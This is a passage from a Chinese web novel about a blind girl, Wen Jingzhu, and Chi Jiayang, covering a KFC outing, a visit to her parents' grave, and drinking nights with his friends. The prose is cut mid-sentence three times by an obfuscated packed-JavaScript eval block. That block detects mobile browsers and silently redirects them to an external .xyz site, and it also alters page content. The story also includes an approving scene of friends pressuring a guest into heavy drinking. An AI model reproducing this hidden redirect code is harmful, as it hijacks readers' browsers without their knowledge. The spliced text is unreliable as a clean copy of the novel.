迟嘉洋放了学,温惊竹练完琴,迟嘉洋又带她出去玩了。 迟父迟母忙于各种应酬,在家的时间不长,迟嘉洋还有个在上小学的亲弟弟,连他那亲弟弟都要经常放到亲戚家去照看,父母管束迟嘉洋的时间更是不多,他挺自由的。 而他带温惊竹在海县的活动无非那么几样,大多数时间是在叶盛斌的剧本杀店里泡着,一群人一起想着吃点什么,打牌,他所熟悉的几家比较好吃的饭店也快带温惊竹给吃遍了。 他带温惊竹去了市中心的KFC,找了个靠角落位置,取餐回来后他一把拉住温惊竹胳膊,温惊竹被吓了一跳,但还是茫然地随着他的力道起了身,听他说:“小竹子,你听我说,现在十分十分关键,因为我刚才看见林侯的车从外面经过……” 他拉温惊竹往外走,脚步有些快,温惊竹为了跟上,在心里说服自己百分百信任他,于是顺着他的方向快速地踏出每一步,听他说:“台阶,台阶,有四级,ok!” 仿佛在执行什么任务。 店外是商场前的一片停车场,但说是商场,也是要死不活的,其中根本没有几个店能看,更没什么人逛,唯独一层这一排可以吃吃喝的店有些生气,以及顶层一个破破烂烂的影院偶尔有人。面前有几辆车驶过,迟嘉洋带着温惊竹呈S形来来回回地走位。 他接着说:“你知道吗?林侯已经失踪很久了,我们怎么叫他都叫不出来,结合之前的种种异常反应来看……我们都怀疑他谈了女朋友。” “问也不承认,找也找不到他人,这不被我给逮着了?” “来,来,小竹子,你低一点……” 温惊竹很听从他的话,蹲下去许多,迟嘉洋小声和她解释:“我就这么说吧,现在我们藏在一辆黑色的轿车后面,林侯开的是他老板的车,他刚刚停了车,停车的位置就在我们右前方不到十米……” 这么一说,温惊竹跟着紧张起来,听到自己的心脏跳得厉害,大气也不敢出,毕竟刚才跟着迟嘉洋快步绕来绕去挺消耗体力。 而刚才迟嘉洋和她说话时,也是气喘吁吁,距离又近,好像有似有若无的热气撩过她耳朵,也可能只是风吹动了她耳边的发丝,让她又痒又麻的。 “小竹子小竹子,我和你说,真的有一个女的从他车上下来了……”迟嘉洋语速飞快,很兴奋,温惊竹认真地听,“是一个黑衣服的女生,盘着头……好啊猴子,竟然趁老板吃饭的时候开着老板的车出来约会!” 县城就是这么小,中心地带能玩的地方就这么大点,遇到熟人是件概率很高的事,有时候自己在外面做什么,被什么人看见了连自己都不知道。 迟嘉洋攥温惊竹手腕的力道加重:“好了,小竹子,他们开始往商场走了,我们现在要跟上,我看看能不能拍个视频给叶盛斌他们……你能跟紧我完成这个任务吗?” 迟嘉洋或许在看自己,他的眼里或许有亮亮的期待的光,温惊竹点头。 说走就走,她再次尝试完全信任迟嘉洋,他往哪个方向使力她就跟他往哪个方向迈步,走得很快,他让她伏低她就伏低,侦察兵似的,心脏又剧烈地跳动起来了。迟嘉洋最后有些懵地说:“他们竟然进了肯德基。” “走,小竹子,我们进去来个瓮中捉鳖。”迟嘉洋思考了一下,笑了,“正好,在肯德基里我录像也方便。” 温惊竹和他一起回到肯德基,在他们原先的位置上坐好,等林侯和那个女孩取餐完毕、在店里的另一边坐下了,迟嘉洋直接拨通与叶盛斌的视频通话,拉着温惊竹的手带她去抓个现行。 温惊竹还能听见他没忍住的轻笑。 可能他真的太激动了吧,竟然就这么拉起了她手、带她过去,但是他们两个也不是第一次这样拉手了不是吗? 在这短短的时间里,她的手又冒出细汗。她不想让迟嘉洋发现,又不能直接把手给抽出来,不然怎么跟着他走?到了林侯与他约会女生所在的桌子边,迟嘉洋才松了她手,因为他开始全心全意地为眼前两人进行360°无死角摄像,并对着接通的视频通话作解说:“看看,看看,这是谁?” “唉哟!”电话那头传来一阵起哄。估计是在剧本杀店里,也正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588692|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有着不少人围观。 站在一旁的温惊竹心里松出口气,双手在身体两侧轻轻地握成拳,两只手的手心很明显一干一湿,这虚虚握拳的动作也像要藏住什么秘密。 林侯似乎被吓了一跳,半天咿咿呀呀的说不全话,这时候真像只猴子。 他眼神一下子锁定温惊竹:“唉呀,小竹子!” 迟嘉洋挂断了视频通话,放下手机:“小竹子也是你能叫的?” 林侯一顿:“一开始不是你让我们叫她‘小竹子’的吗?” 迟嘉洋噎了一下。 接着说:“行啊,我说你这几天怎么不见了,哪儿哪儿都找不到,原来是有情况啊!”他微微一笑,“行,不打扰你们了,我和小竹子也本来要在这里吃饭的。” “哦?这么巧?” “那祝你们——幸福!”迟嘉洋十分郑重地说,听声音他似乎还向那两人深深地鞠了一躬。 温惊竹脑补出这个画面,都有点忍俊不禁。 她之前在烟城生活时何曾这么频繁地笑过?练琴时不需要笑,甚至还会被爸爸妈妈或钢琴老师给训成一张苦瓜脸。每逢这时她妈妈又会说:“弄这副表情干什么?太丑了。”她就不再将五官都皱在一起来表现出内心的煎熬,只是稍稍皱一点眉,但是怕妈妈又说,最后连那两条细细浅浅的眉毛都不会透露出她的半点情绪了。 她爸爸妈妈都是搞艺术的,在练琴方面对她十分严苛。 再有笑的时候,或许就是晚上休息时躺在床上听那些小说了吧…… 里面的人物过着各自的生活,也有各自的烦恼与喜悦。好在她妈妈对她所听的小说内容不怎么限制,或许也清楚,这是她可怜巴巴、为数不多的能与广袤的大千世界所接触的途径了。 但她听那些言情小说时还是像干坏事。 太夸张的霸道总裁文学她不喜欢,因为她连最真实的世界都不够了解,不愿意跟着里面的情节天马行空。她喜欢那些真实的、青涩的故事,其中的题材以暗恋为多,描写越细腻的越好。每当那些小说里的女主与男主有了互动,譬如第一次牵手,第一次约会……她都会频繁地跟着笑,仿佛她是什么见证人似的。 “走吧,小竹子,我们的汉堡可能都要凉了。”迟嘉洋说着,这会儿没再拉她的手,而是握住了她的小臂。 吃完饭,迟嘉洋没有带温惊竹去面剧,可能连着几天打牌打腻了,而是带她去了这有些破败的商场的顶楼看了场电影。 最近没什么热度高的电影,他随便挑了一部,进去后反应过来是外国片后他自己都笑了——单让温惊竹凭背景音乐和人物对白来欣赏电影就够费劲的,何况是一部全是洋文的电影?于是他又拉温惊竹出来重新买票,买了猫眼上评分排名第二的国产片的票。 重新进场后坐好,温惊竹还是觉得神奇——竟然会有人带她来看电影。 她颇为端正地坐在那有些幽森、阴暗的环境里,这县城的电影院也像是上世纪的产物,这一场电影甚至只有他们两个人看,很轻松地实现了包场效果,不过包下这种环境下的一场电影似乎没什么值得快乐的。 眼前倏然一点亮光,巨大的声响在整个空间里震动,电影开始了。 听着开头的音乐,温惊竹开始脑补这个电影的氛围,慢慢有了人声,迟嘉洋似乎是懒洋洋地斜切在她旁边的座位上的,头朝她这边,有几个瞬间他的手肘似乎碰到了她的手臂,他说:“嗯……现在是一座公寓,有个女人说着话走进来了,她穿着高跟鞋,你能听见吧?然后穿的是一身红色的裙子,是长裙……” 他有一搭没一搭地讲,后来累了,一直沉默,在电影过半时吐槽一句:“果然是个烂片。” 温惊竹眼前一直是糊糊的,一片乳白色或黄色的光晕。她努力地睁大眼睛,但都无济于事。这一刻她突然有种深深的渴望又有股深深的无奈——要是能看见就好了,现在她连和迟嘉洋共同欣赏一部电影都做不到,哪怕是一部烂片。 5. 梦中梦 走出电影院后,迟嘉洋一边扶着温惊竹走一边说:“小竹子,就算这部电影你没看懂也没关系,因为这片真的太烂了。今天也就是太无聊,下次没有很火的电影的话我们还是别来电影院了。” 温惊竹仿佛很认真地听取了他的建议,点头。 但她没说:这是她第一次“看”电影。 她也没告诉迟嘉洋,今天是她的生日。她度过了很快乐的一天。 坐上迟嘉洋的车,要回家了,又听他幽幽地感叹一句:“什么时候才能去抓龙虾啊?过段时间再和叶盛斌去看看。” * —【4月4日至4月5日清明节雨后】— 清明节这天很应景地下了点小雨。可像是没有雨硬下,整个天空上黑云压城城欲摧,就只有偶尔的那么几丝雨水落下来。一丝,两丝,落在车玻璃上变成很小的几点水珠所断续布成的线,声音细小到几乎不可闻,温惊竹需要很仔细地听才能听见。 她坐在奔驰SUV宽敞的后座上,腿可以伸得长些,迟父开车,迟母坐在副驾驶位上和他有一搭没一搭地说话,没有迟嘉洋。 他们在前往烟城的路上,带温惊竹去墓地看望她的父母。 说起来,她父母的故事就像这天的天气一样,给人一种凄惶惶的感觉。 两个人出身都不上不下,父亲是家中独子,从小性格古怪孤僻,沉浸在自己的音乐世界里,偏偏家里与“艺术”这两个字八竿子打不着,就持完全的反对意见,觉得天要塌了,而她父亲一意孤行,成人后在这条路上摸索得非常辛苦,温惊竹奶奶为此快变成个疯子,温惊竹父亲后来就和家里断绝来往了。 温惊竹母亲是家中三个孩子里夹在中间的、最不受宠的那一个,从小就对音乐感兴趣,梦想是弹钢琴,偏偏家里不愿意拨出那么多钱来支持她,后来她也是凭自己的意志在音乐这条路上摸爬滚打,最后因为执意要嫁给温惊竹的父亲,也和家里不怎么联系了。 两个同样淡漠亲情、对艺术走火入魔的人走到一块儿,仿佛天作之合,此后只完全沉浸在两个人的世界里。 他们搭建起自己的爱巢,潜心钻研自己的爱好,后来赚了很多钱,也有了温惊竹,可惜仿佛是不知道因为什么而触怒了上天,温惊竹生来便双眼看不见东西,好在容貌姣好,也可以学琴,他们也没打算再要孩子,只是今年年初他们在一场演出的途中遭遇了车祸。 迟嘉洋母亲是温惊竹母亲为数不多的朋友,还是很多年很多年以前的老同学,好久没联系了,迟夫人从温惊竹母亲去世的消息里听说了温惊竹的事。 迟家多的是钱,不差多添双筷子,哪怕是再请一位阿姨专门照看温惊竹也请得起,或许是做生意的人讲求行善积德,何况温惊竹看起来十分乖巧,还弹得一手好钢琴,将来指不定和她母亲一样是位艺术家,迟夫人便很顺利地把温惊竹接回了家。 而温惊竹那些素未谋面的亲戚家实在添不了一个小瞎子了,甚至还要供她学钢琴——简直笑话,因为她父母,他们估计仍对搞艺术这类事情深恶痛绝,感觉会让人变得不正常。 在墓地深一脚浅一脚地走着,来到了父母的墓前,这时候已经没有雨丝滴落了,只是空气里还特别潮,湿哒哒的,好像能直接在人身上凝出层水汽。 迟父迟母替温惊竹扫了墓、烧了纸,留她单独在墓前和过世的二位说一些话。 温惊竹沉默了好久,不太习惯诉说,但酝酿好后还是很小声很小声地开口了,说了自己这段时间以来在迟家的经历:“他们家有个男生,和我差不多大,叫‘迟嘉洋’,他经常带我一起玩。我第一次去看了电影,去海边兜风,也认识了很多新朋友……”她没好意思说去酒吧的事,“爸爸妈妈,这些事情都像是之前在小说里才会听到的……当然,我也没有放弃练钢琴,迟阿姨给我请了位很好的钢琴老师,我每天都在认真练习,没有退步。” 这么一想,她好像已经很久没有听小说了,大概就是从住进迟家开始。 因为鲜活而丰富的生活就在身边展开,她可以认真而直接地去感受,每一天晚上躺在床上回味,一遍,两遍,无数遍……不必再依赖那些通过机器女声源源不断地流入耳朵的文字。 想到又要告别父母,她强忍着眼泪,没让它们流下来,否则这样的情绪对旁人来说又是个负担。 回去的路上,迟父迟母依然在前面的座位上絮絮地说话。来回路上都没有放音乐,或许是觉得不合时宜。温惊竹也不想在这个时候听音乐,只是坐惯了迟嘉洋总放着音乐的车,此时这车上的环境就显得特别安静。 迟阿姨的电话响了,她接了。 虽然没有开免提,但电话里的声音还是在这车内很清晰。 “喂,妈?你们有没有开始往回走啊?”迟嘉洋听起来挺着急。 “正走着呢,还有四十分钟就到了,怎么了?”迟夫人慢悠悠地问。 “四十分钟。”迟嘉洋念叨着,这时他可能看了眼表,“哦,好吧,那你们快一点。” “怎么了?”迟夫人好笑。 她知道迟嘉洋几乎每天晚上都带温惊竹出去玩,这会儿她可能在想,他现在是不是连晚一秒看到温惊竹都会难受? 悟出了这层意思,也不知道迟夫人到底有没有这么想,温惊竹一只手掐着另一只手的手指,有些不好意思。 “妈,你忘了吗?”迟嘉洋说,“我昨天跟你说过了啊,陈烽回海县了,今晚我要请客吃饭的,肯定少不了小竹子!” “哦……”迟夫人应着,“再有四十分钟就回去了,来得及。” “行。” “那怎么样?还有事吗?先挂了啊。” “行。” “惊竹,每天和嘉洋的那些狐朋狗友们待在一起,他们是不是可讨人嫌了?”挂掉电话后,迟夫人问温惊竹。 “没有。”她想了想,“他们对我都……挺好。” “没有人欺负你吧?”迟夫人似乎并不完全信,“总感觉其中几个人看着不那么靠谱。” “没有。”这两个字很肯定。 “那就好,多认识点人也不至于太无聊,省得成天在家里待着弹钢琴,多闷啊。”迟夫人笑,“要是真有人欺负你,你就告诉我,我不让迟嘉洋带你往外跑了,阿姨也能带你出去玩,叔叔照看着一片地,可漂亮了呢。” 迟父这时也开口了:“可不是,满院子里都是花,快到樱花开的时候了。” 温惊竹笑了:“谢谢叔叔阿姨,他们都挺好的。” 一回到家,温惊竹换了身衣服,迟嘉洋就匆匆忙忙地拉着她上车了,手机连上蓝牙后自动放出音乐,熟悉的巨大的启动车辆的响动,像要去战场上打仗,温惊竹也马上切换到另一种状态。 迟嘉洋一路踩着油门,那让人肾上腺素飙升的轰鸣声和推背感又来了,他说:“今天晚上要请的是一位新朋友,陈烽,我之前的一个老同学,可惜后来跟着家里转学去南方了。这不清明假期,他回来玩,我就要请客陪他玩两天,对了小竹子,今晚我有一个伟大的计划——” 他那兴奋的劲头不免感染到温惊竹:“什么计划?” 迟嘉洋顿了一下。 “就是,”他有些坏地嘿嘿一笑,“灌他酒。” “啊?” “嗯。”他很笃定,“小竹子,你愿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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迟嘉洋扶着温惊竹坐下,自己也在她身边坐下,清了清嗓子:“那个,诸位,还记得我们今天的计划吗?” “当然当然!” “包在我们身上!” 大家的声音响成一片,尤其是男生,真有种电视剧里好汉集结的架势,可一想到一会儿的事…… “OKOK!”迟嘉洋非常满意,看了眼手机,“陈烽估计还有十分钟左右就到了。” 陈烽到的时候,一个电话打来,是迟嘉洋亲自下去接的。 不知道为什么,他非要带上温惊竹一起。而此番情形也是相当匆忙,于是匆忙中他又直接拉住了温惊竹的手。或许他也发现了,如果直接拉住温惊竹的手,她就能跟着他走得特别快。 绕过一圈椅子,有点磕磕绊绊,温惊竹想象着此时的画面:一屋子人就这样看着迟嘉洋拉着她的手,带她快速地走出去…… 一路下楼,夜晚微冷的风拂面,温惊竹长长的发丝随风飘荡,面前不远处传来车后备箱扣上的声音,应该是陈烽取出了自己放在计程车后备箱里的行李,他热络地和迟嘉洋打招呼:“洋哥,好久不见啊!这位是……” 熟悉的问题,迟嘉洋却不言语,而是一个讳莫如深的:“你猜?” “唉哟,你就别……”陈烽好笑,可应该是一下子注意到了温惊竹的不同寻常,他声音急转直下,归于一愣的安静,迟嘉洋满不在乎地说:“漂不漂亮?不过她看不见,你可别欺负她。” “哦,哦,怎么会。”陈烽说着,和他一起上楼,行李箱就先寄存在前台了。 温惊竹已经答应了迟嘉洋的计划,屋里又已经有了那么多人在摩拳擦掌、虎视眈眈,她默默在心里叹了口气,想:你不欺负我,一会儿我可要欺负你了。 6. 梦中梦 迟嘉洋照例点了一大桌菜。 菜慢慢上着,众人寒暄着,迟嘉洋又单独要了一只碗与一双筷子,将各种菜给温惊竹夹到里面一些,然后由她单独夹着吃,还得注意着她那些忌口,其实也挺好记的,就是有刺激性味道的食物她一概不吃。 在迟嘉洋另一边的陈烽一直看着:“许久不见,洋哥现在都这么会照顾人了?” “那当然了!”桌子另一头传来刘晓栋大嗓门的一声吼,“来,烽烽,我敬你一杯!” 陈烽笑眯眯举了举杯子,一饮而尽。 至此他还没发现问题的严重性。 “喝了他的就不能不喝我的吧?”没过一会儿,叶盛斌起身,“来,烽烽,我也敬你一杯,一滴不准剩啊!” “烽烽哥哥,欢迎你回海县来!”又一会儿,一个温惊竹所没听过的娇滴滴的女声说。她起身了,手里无疑也是捧着满满的一杯酒,话落后尽数下肚,照这阵势,陈烽不可能不跟着一饮而尽了。 …… 一来二去又三来四去,任谁也招架不住这一桌人的攻势。只有温惊竹一个人仿佛置身事外,始终安静又不疾不徐地吃着自己的饭。 听陈烽声音开始黏糊、语速开始缓慢,应该有六分醉了,但这一桌子上大部分人才每人喝了两三杯而已。 “真不行了,真不行了……”陈烽叫苦不迭。 一直旁观好戏的迟嘉洋不得已亲自下场:“哎,烽烽,哪能这么不给面子呢?你好不容易回海县一趟,我们想死你都来不及了,我还没敬你呢!这杯可不能不喝啊,不喝就是不给我面子。” “唉……” 温惊竹听见陈烽的一声叹息,但这杯酒不能不喝,他便不多说什么了。 听声音他喝得很勉强,没想到迟嘉洋又“咕嘟咕嘟”给自己和陈烽倒满:“这第二杯,敬……” 陈烽:“……” 温惊竹在心里想:迟嘉洋真的太坏了。 就这么给陈烽下了个套,逼着他连喝三杯。半喝半漏地灌完了最后一杯,陈烽一声响亮的酒嗝,指了指外面:“我得去上个洗手间。”然后跌跌撞撞地离开了,叶盛斌不放心地跟上去:“我陪着去看看吧。” 迟嘉洋点头。 人一走,门一阖,他得意地炫耀:“怎么样?我刚才这招怎么样?喝完一杯才告诉他我第二杯敬我们这几年的友情,然后是第三杯……” 众人哈哈大笑。 “真是太牛逼了,洋哥!”刘晓栋好像微醺了,一声吼,笑得没心没肺,“真亏你想得出来!” 迟嘉洋冷哼一声:“正好,他去清空肚里的酒了,吐出来整个人又清醒了。” 温惊竹才知道,陈烽说去上厕所实际是去吐了。她吃饭的动作一顿。怪不得叶盛斌要那么不放心地跟上去看看。 “一会儿……”迟嘉洋一边给温惊竹夹菜,一边暗示。 “放心吧洋哥,继续!看我们的三寸不烂之舌!”仲晓雯十分踊跃。 “没问题。”迟嘉洋忽然拍了拍温惊竹肩膀,这意料之外的接触让在吃菜的温惊竹又僵了僵,他说,“我们还有压轴的秘密武器。” “真的吗?小竹子?”林侯惊讶地看着温惊竹,语气里似乎还有赞叹和佩服,“来,我们先敬小竹子一杯!” “OK,这杯小竹子不用喝哈。”迟嘉洋说,“我可不敢让她喝多。” 温惊竹不好意思地笑笑,看他们如此热情高涨,默默收回了心里“我们这样灌他酒是不是不太好……”的话,脑袋里又冒出个荒谬的想法:爸爸妈妈,我出息了,现在竟然也会有人敬我酒了,还是这么一桌人。 不多时,陈烽回来了,一桌人果然开始了新一轮进攻,你一言我一语,每个人都绞尽了脑汁劝说。陈烽终于雷打不动了,往那儿一摆,就是不喝,迟嘉洋在桌子底下戳戳温惊竹的腿。 温惊竹:“……” 该来的还是来了。 感觉到一双双目光投射过来,迟嘉洋为温惊竹的玻璃杯中斟满了酒,温惊竹循着声摸去,摸到玻璃杯后拿起来,沉甸甸的,她缓慢而小心地站起身,这一刻整个房间里都静极了,她对着陈烽的方向,听到自己那细微的声音:“陈、陈烽,欢迎你回海县,我也敬你一杯。” 说完,喝下去。 她第一次喝酒。 本以为会是什么很让人上瘾的东西,不然为什么那么多人嗜好?可酒液刚一入口,只有辛辣,没有任何快感可言,她想咂舌,眼眶都沁出细细的眼泪,但还是忍受着一鼓作气地喝完了。 灼烧感从喉咙一路延申到胃。 房间里响起欢呼,刘晓栋大喊一声:“小竹子太棒啦!” 仲晓雯也说:“小竹子,你真厉害!” 这可能就是他们的快乐吧。 “好了好了。”迟嘉洋扶着温惊竹坐下,幸灾乐祸地看着陈烽,“人家都这样敬你了,你不喝三杯,过意不去吧?” “迟嘉洋,你……”陈烽笑着摇了摇头,但还是说,“OK,真有你的。” 温惊竹坐下后就发晕了。 他们继续吵吵闹闹,聊天,她却觉得自己的脑袋锈住,很沉重,她需要比较勉强地支撑着自己才能坐在这儿。虽然双眼看不见,却能感觉到眼睛发胀,酸酸的,空洞洞的。 迟嘉洋没一会儿凑过来:“小竹子,你没事吧?” 她没有反应。 “唉。”迟嘉洋叹了口气,小声和她说,“我忘了,这应该是你第一次喝酒。其实我也不能喝酒,因为我喝酒过敏,但是……” 他笑笑。 温惊竹嘴角才微不可察地向上翘了翘。 ——如果他也是付出了代价在喝酒的话,那她就觉得公平了。 “小竹子,我以后不会再让你喝酒了。”这时候温惊竹在位置上坐得挺端正,两只手搭放在腿上,有点像小学生,迟嘉洋在桌子下面戳了戳她的小拇指,“我们明天去斑马吧?去烟城?” 她脑袋稍向他这边转了转,点头。 晚上回去得挺狼狈,因为大家都喝了酒,干脆全部打车回家,开车过来的就将车暂放在这饭店门口,明天再打车来开。 在小县城里,大家似乎都生活得挺随意,有种哪怕一辈子这样随意下去也没关系的感觉。 或许本来就没关系呢? 回到家后,洗漱完躺在床上,温惊竹想着上次在斑马的经历,心里竟隐隐期待着明天的行程。 但这次和上次不太一样。 次日到下午才出发,迟嘉洋没管他昨天放在饭店门口的野马,开了家里的商务车,先后拉上了住在爷爷奶奶家里的陈烽和已经在面剧里集合的众人,大家都热情地和温惊竹打招呼,迟嘉洋也让温惊竹坐在车内的第二排座位上,很舒服,还有按摩功能,他给她调了调。 刘晓栋开的车,叶盛斌在副驾,便由他们放着他们最爱听的土嗨的DJ,一路到烟城,吃了饭,再去斑马。 迟嘉洋这会儿订的是其中最大的一个卡座,不过最大的卡座在店内的最边缘位置,这次的长方形桌子比上次散台的正方形小桌子大得多,两面沙发环绕,另外两面是长长的沙发凳,足够坐下他们这一群人。叽叽喳喳地点好了一桌子东西,他们开始玩酒桌游戏,舞台上表演的声音从远处传来。 迟嘉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15588694|171777||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 洋坐在温惊竹身边,靠近她,神秘兮兮地说:“小竹子,这次我给你准备了一个特别好玩的东西。” “是什么?”温惊竹好奇。 不过她声音那么轻,融在这嘈杂的环境里,融在那驻唱歌手惊天动地的歌声中,她怀疑迟嘉洋压根就没有听见。 他将一大包东西放到她腿上,她小心翼翼地摸着,却只能摸到塑料包装袋光滑的表面,迟嘉洋告诉她:“是一袋手抛纸。” “手抛纸?” “对,还记不记得上次——砰!”迟嘉洋模仿着,温惊竹想起来了,上次来这里玩时那不断落在她身上的、柔软的纸,迟嘉洋说是红色的,漫天都是,她便想象着那无数张纸被喷射到空中,密密麻麻,然后像无数只坠落的飞鸟一样落下来的场景,她咯咯地笑了。 “但不是每次都有的。”迟嘉洋说,“今天不知道有没有,所以我干脆买了这么一大包,一会儿你扔着玩吧?或者我们一起扔。” 温惊竹点头。 迟嘉洋又叫了范强来,他坐到迟嘉洋对面,又开始闷着头喝酒。迟嘉洋和一众人有说有笑,又给陈烽和范强之间做相互介绍。范强豪气干云地举起一瓶刚撬了瓶盖的酒:“来,阿烽,我敬你!” 陈烽:“……” 昨天的心理阴影犹存。 温惊竹摸着仍放在自己腿上的那一包东西。 她手指摸索到包装袋封口处,将粘合在一起的地方一点一点抠开,终于抠到了尾。 但她并不知晓那些纸被紧密地放在袋子里的样子,刚要伸手去摸,想再一次试一试那种纸片的柔软,却感受到腿上的重量一轻,那些原本被装得很紧的纸当即瀑布一样从她的腿上倾泻下去不少。 迟嘉洋有所察觉。 “温惊竹。” 这是他向朋友介绍她以来,第一次叫她的全名。 温惊竹便知道自己做错了。 或许也不是做错,只是不小心。 迟嘉洋没再说话,她也没有说话。 静了片刻,她将腿上的袋子放到一旁,弯下腰去捡那些散落到桌下的纸。但她看不见,什么都看不见,只能凭感觉摸索,偶尔会摸到黏腻的地面,就搓一搓手指。一开始一摸就能捡起一大叠,后面她也不确定地上还有多少了,又是在哪里,犹豫了一下要不要起来,迟嘉洋扶着她,又护着她脑袋说:“唉,算了,掉一些就掉一些吧。” “嗯……” 迟嘉洋接过她手里那些被捡起的纸,胡乱地塞回袋子里,继续和旁边人说说笑笑,没再管这件事。 温惊竹酝酿了一会儿,鼓起勇气——因为在这分外吵闹的环境中需要很大声说话才能让旁边人听见,她往迟嘉洋那边侧了侧,凭感觉贴近他一点,却不小心将下巴磕到他肩上。 “……” “怎么了?”迟嘉洋还是耐着性子贴近她,问。 温惊竹也清楚,他说话前延迟的两秒是对她的不甚耐烦,或许是因为刚才弄洒手抛纸的事,也或许是她接连着碰到他肩膀真显得有点笨了,但她扪心自问,她不太生迟嘉洋的气,因为早已清楚他的少爷脾气,也因为那包手抛纸是他想着她而买的,更因为她基本不怎么生过谁的气,她说:“可以给我抽几张纸巾吗?” 这句话似乎提醒了迟嘉洋:温惊竹是个什么也看不见的人。他语气明显柔和了很多:“哦,好。” 下一秒,厚厚的一沓纸巾便进了温惊竹手里,他说:“你就放在你拿得到的地方,之后想用的时候就拿吧。” “嗯,好。” 她将纸巾放在了自己身后,留了一张在手里,捻了捻方才被弄脏的手指。 7. 梦中梦 陈烽坐在温惊竹左边,仲晓雯又叫了她几个烟城的朋友来一起玩,都是和她年龄相仿的女生。 温惊竹偶尔能听到她们身上饰品不经意碰触到另一个坚硬物品所发出的清脆响动,由此判断她们都挺精致漂亮的。她们似乎也经常到酒吧玩,在这种场合中游刃有余。她们正带着陈烽玩“小姐牌”游戏,非常欢乐。 “哈哈,是跳过!” “你来你来,抽一张——” 轮到陈烽了,他抽到的竟然是右边的人喝一杯。可一双双目光寻过去,他右边是温惊竹,正主持游戏的仲晓雯说:“小竹子不参与,那就顺到这边来,葛静,你喝!” “啊!凭什么?”女生叫嚷。 “都一样的,等你抽到左边的人喝时,你左边的人又不和我们一起玩游戏,就让陈烽喝呀!” “啊,好吧。”葛静瞟了身旁的范强一眼。 正对着迟嘉洋兀自灌酒的范强听了,笑眯眯说:“如果你要我喝,我也是不介意的。” 葛静尴尬一笑,一杯酒下肚,继续和他们玩游戏了。 很明显的,她也看不上范强,甚至不大愿搭理。 范强习惯了,打个大大的酒嗝,似乎是为了挽回脸面,大声冲桌对面正在听歌的迟嘉洋喊:“洋哥!太无聊了!把上次的那个妞喊来呗?” “哦?”迟嘉洋一眯眼,“这次喊来你能把握住了?” 范强几乎是拼尽全力地一吼:“能!” 别说他旁边的那群女生了,连温惊竹都被这嗓门给吓一跳。葛静更是像看神经病一样扫了他一眼,满满嫌弃。 迟嘉洋笑了,拿起手机:“好,那我可叫了。” 范强继续“咕嘟咕嘟”地灌酒,也不知道是不是在给自己壮胆。 没过一会儿,温惊竹感觉陈烽的腿碰到了自己的腿。 ——真是一个混乱的晚上。 或许这就是酒吧,纸醉金迷中暗流涌动。虽然不清楚这个碰触是不是巧合,温惊竹还是如同被针刺了一下一般难受。 为生活方便,她夏天习惯穿连衣长裙,何况若是衣服裤子那样的上下两件套她也不会搭配。说起来,她的大部分裙子还是她妈妈生前给她挑的,而她妈妈作为艺术家,给她挑选裙子的目光当然挑剔毒辣,都是很仙气的款,配合她那薄薄的直刘海与一头黑长直当真像仙女下凡。后来迟夫人根据她的裙子风格又给她添置了许多。 所以她裙摆的布料很薄,她又因为看不见东西而触觉格外敏感,她不动声色地往迟嘉洋方向挪了挪。 如此一来,她又几乎和迟嘉洋腿贴上腿。 “……” 她再将腿并得紧些,减少与迟嘉洋的碰触,迟嘉洋倒没有任何反应。 没有对比就没有伤害,她发现她反感与陈烽的肢体接触,甚至可以说到了厌恶的程度,好像自己变得不干净了,却不反感和迟嘉洋的。 可也只是不反感而已,她并不敢有什么非分之想。譬如她又小心翼翼地将腿收回,与迟嘉洋保持回礼貌距离。 也是,她和迟嘉洋之前不还拉过手吗?那也算是肢体接触了。因为他们很熟,有过接触,所以不讨厌,而她和陈烽还不太熟……她这么稀里糊涂地分析着,却又觉得不是这么回事:就算她和陈烽熟了,难道她就不介意被他碰这么一下了吗? 想着想着,不知道怎么还把自己的脸想得有点红,那种烧起来的感觉。 忽然熟悉的声音响起来了:“哟,洋洋,又想我了啊?” 熟悉的香气姗姗来迟。 已经有五分醉的范强在对面喊:“喂!喂!你还记得我不?” ——正是迟嘉洋上次带温惊竹来livehouse时叫来的那名女生。 可惜再叫来一遍也没用,女生早看透了范强是入不了她眼的货色,她可能也没想到这次来斑马又有范强,她懒懒地扫他一眼,并不搭理。 温惊竹忽然被挤开,挤得她差点惊叫一声,但并没有叫出来,她几乎撞到左边的陈烽身上,然后陈烽迅速地向另一边挪开距离,给她匀出个新位置。原来是那女的直接坐到了她和迟嘉洋中间,然后那女的搂住迟嘉洋吱哇乱叫:“你叫我来到底是陪谁的?啊?你说!你现在是不是有了小女朋友就敢乱打发我了?看我不给你们拆散了不成!” 迟嘉洋只是笑:“什么小女朋友?你别乱说!” 在两团吵闹的人中间,温惊竹安安静静地坐着。 台上的驻唱男歌手开始演唱《鲜花》,那首迟嘉洋上次来这里专门为她点的歌,只不过这次作为表演曲目来演唱。 温惊竹听得很认真,上次离开这里后,她已经将这首歌在耳机里单曲循环了无数遍。可惜此时右边的吵闹声不绝于耳,让她无法屏蔽,无法去专心欣赏,左边又传来陈烽小心翼翼的一句:“你没事吧?” “嗯?” 陈烽没再说话。 